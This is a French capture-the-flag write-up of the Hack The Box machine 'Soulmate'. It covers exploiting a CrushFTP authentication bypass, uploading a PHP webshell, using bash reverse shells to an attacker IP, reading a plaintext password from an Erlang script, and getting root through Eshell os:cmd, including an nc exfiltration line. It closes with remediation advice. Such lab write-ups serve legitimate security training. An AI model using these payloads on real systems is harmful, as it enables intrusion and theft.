HTB - Soulmate
Résumé
Soulmate est une machine easy sur Hack The Box.
L’exploitation commence par le service CrushFTP, vulnérable à la CVE-2025-31161, qui permet un bypass d’authentification. L’utilisateur par défaut de CrushFTP, disposant de privilèges administrateur, peut être abusé afin de créer un nouvel utilisateur admin et d’accéder à l’interface de gestion du service.
Une fois cet accès obtenu, il permet le contrôle du compte qui administre les fichiers du site principal du CTF. Cela nous permet d’uploader un fichier PHP malveillant et d’obtenir un premier accès sur la machine.
Après le foothold, l’élévation de privilèges repose essentiellement sur la recherche de credentials. Un mot de passe est trouvé en clair dans un fichier de configuration, ce qui permet une première escalade vers un utilisateur standard.
Enfin, l’accès root est obtenu via un serveur Erlang SSH (Eshell) écoutant uniquement sur la localhost. L’authentification se fait avec des credentials déjà connus, et le service exécute directement des commandes avec les privilèges root, ce qui permet d’obtenir un reverse shell en tant que root.
Reconnaissance
Scan réseau initial
Nous commençons par identifier les ports ouverts sur la machine cible avec un scan rapide de tous les ports TCP :
1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -p- -Pn 10.10.11.86
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Deux ports sont exposés :
- 22/tcp : SSH
- 80/tcp : HTTP
Nous poursuivons avec un scan plus approfondi :
1
2
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p22,80 10.10.11.86
1
2
3
4
5
6
7
8
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
- La machine tourne sous Linux (Ubuntu)
- Le port 22 expose un service OpenSSH 8.9p1
- Le port 80 expose un service HTTP exécuté par un serveur web nginx 1.18.0
- Le serveur web redirige automatiquement les requêtes vers
http://soulmate.htb
Ce dernier point est important. Cette redirection nous indique que le serveur utilise probablement des virtual hosts, ce qui laisse penser que plusieurs services / sites peuvent être hébergés derrière cette même adresse IP et le même port 80.
-> J’explique plus en détail ce raisonnement ici:
Conclusion intermédiaire :
- Une énumération des virtual hosts est pertinente
Reconnaissance du site soulmate.htb
Après l’ajout de soulmate.htb dans /etc/hosts, nous accédons à http://soulmate.htb.
Le site est majoritairement statique et ses fonctionnalités dynamiques se limitent à la création de comptes et à un formulaire de contact. Rien ne semble exploitable immédiatement.
Deux informations sont intéressantes :
- L’adresse hello@soulmate.htb visible dans le formulaire pourrait correspondre à un utilisateur système
- Nous sommes certains qu’une base de données existe sur le serveur puisqu’on peut créer un compte, ajouter une photo, une description … Cette information est précieuse et nous permettra, peut-être, de récupérer des credentials une fois le foothold obtenu.
Énumération des virtual hosts
L’énumération des virtuals hosts avec ffuf révèle une nouvelle entrée :
1
2
3
┌──(root㉿kali)-[~]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H "Host: FUZZ.soulmate.htb" -u http://10.10.11.86 -fw 4
ftp.soulmate.htb
Nous l’ajoutons dans /etc/hosts.
Analyse de ftp.soulmate.htb
Le virtual host ftp.soulmate.htb expose une interface CrushFTP. En inspectant le code source de la page web, une ligne révèle la version du service :
1
v=11.W.657-2025_03_08_07_52
où :
v=11correspond vraisemblablement à la version majeure du service CrushFTP- W.657-2025_03_08_07_52 correspond probablement à la date de build
Une recherche de vulnérabilités montre que cette version est affectée par la CVE-2025-31161, une faille permettant un bypass d’authentification. Un PoC public est disponible et exploitable sur le github de Immersive Security.
Exploitation
Bypass d’authentification CrushFTP
La vulnérabilité repose sur une mauvaise gestion de l’authentification via certains cookies et en-têtes HTTP (currentAuth, CrushAuth, Authorization).
Le PoC permet de se faire passer pour un utilisateur existant. Sur CrushFTP, l’utilisateur crushadmin est un compte administrateur par défaut. S’il est présent, il est possible de l’usurper et de créer un nouvel utilisateur admin via l’injection d’un payload XML.
Exploit :
1
2
3
4
5
6
7
8
9
┌──(env)(root㉿kali)-[~/htb/soulmate]
└─# python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80
[+] Preparing Payloads
[-] Warming up the target
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: AuthBypassAccount
[*] Password: CorrectHorseBatteryStaple.
L’utilisateur AuthBypassAccount nous donne désormais accès à l’interface d’administration de CrushFTP.
Prise de contrôle du site web
Accès aux fichiers web
Depuis l’interface d’administration de CrushFTP, nous trouvons l’utilisateur ben, propriétaire des fichiers du site soulmate.htb.
Les fichiers ne sont pas directement accessibles via l’interface administrateur de notre nouvel utilisateur AuthBypassAccount. Cependant, nous pouvons modifier le mot de passe de ben, nous permettant de se connecter avec sa session et de modifier les fichiers du site ou d’en ajouter un malveillant.
Webshell PHP
Avec l’interface de ben, nous déployons un webshell PHP :
1
2
3
<?php
system($_GET['cmd']);
?>
Test rapide :
1
2
┌──(env)(root㉿kali)-[~/htb/soulmate]
└─# curl http://soulmate.htb/cmd.php?cmd=whoami
1
www-data
Le code s’exécute avec l’utilisateur www-data.
Reverse shell
Pour obtenir une session interactive, nous remplaçons le webshell par un reverse shell Bash :
1
2
3
<?php
system('bash -i >& /dev/tcp/10.10.14.214/4444 0>&1');
?>
Nous recevons une connexion en tant que www-data :
1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.11.86] 50346
www-data@soulmate:~/soulmate.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-exploitation
L’utilisateur www-data dispose de privilèges très limités. L’objectif premier est de trouver des credentials pour s’élever en privilège.
Pendant l’énumération, nous trouvons l’emplacement d’une base de données dans un fichier de configuration PHP. Elle révèle le hash MD5 d’un mot de passe administrateur qui ne se casse pas avec hashcat et rockyou.txt.
En continuant l’énumération, nous trouvons un fichier intéressant contenant la chaîne de caractères “PASSWORD=” dans :
1
/usr/local/lib/erlang_login/start.escript
Contenu du script :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
Ce script simule un serveur SSH local avec une configuration basique et des logs destinés au débogage. Nous y trouvons le mot de passe de ben qui nous permet de nous connecter en SSH à la machine.
Élévation de privilèges
Sur la machine, des ports locaux non habituels sont en écoutes :
1
2
3
4
5
6
7
8
9
10
11
12
13
ben@soulmate:~$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:38959 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4369 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:39307 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
Nous avons déjà découvert dans /usr/local/lib/erlang_login/start.escript un programme qui simule des connexions ssh. Le port 2222 coïncide avec ce service, nous pouvons l’énumérer :
1
2
3
4
5
6
ben@soulmate:~$ telnet 127.0.0.1 2222
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-Erlang/5.2.9
Nous pouvons s’y connecter avec les credentials de ben :
1
2
ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
ben@127.0.0.1's password:
1
2
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
Cette version de Eshell est vulnérable à la CVE-2025-32433, avec un PoC disponible sur le github de colinlyons29.
Accès root
Le PoC envoie notamment au serveur Eshell une commande intéressante os:cmd("cat /lab.txt | nc 10.9.2.46 4444"). En réutilisant os:cmd, nous constatons que nous sommes déjà root sur la machine :
1
2
3
(ssh_runner@soulmate)3> os:cmd('whoami').
"root\n"
La CVE et le PoC ne sont pas plus utiles. Un dernier reverse shell nous permet de terminer la machine :
1
(ssh_runner@soulmate)8> os:cmd("bash -c 'bash -i >& /dev/tcp/10.10.14.214/4444 0>&1'").
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.11.86] 54554
root@soulmate:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@soulmate:/# cat /root/root.txt
Conclusion
Un service exposé et vulnérable permet un premier accès administratif. Cet accès est ensuite utilisé pour compromettre un site web, récupérer des credentials stockés en clair, puis pivoter vers un service interne mal configuré qui exécute directement des commandes avec les privilèges root.
Corrections à apporter
Plusieurs mesures auraient permis d’éviter cette compromission :
- Mettre à jour CrushFTP vers une version corrigée
- Restreindre l’accès aux interfaces d’administration
- Éviter l’exposition de services sensibles sur localhost sans contrôle strict
- Ne jamais stocker de mots de passe en clair dans des fichiers
- Appliquer le principe du moindre privilège
- Isoler correctement les services applicatifs
Ressources utilisées
- Documentation officielle CrushFTP
- CVE-2025-31161
- CVE-2025-32433

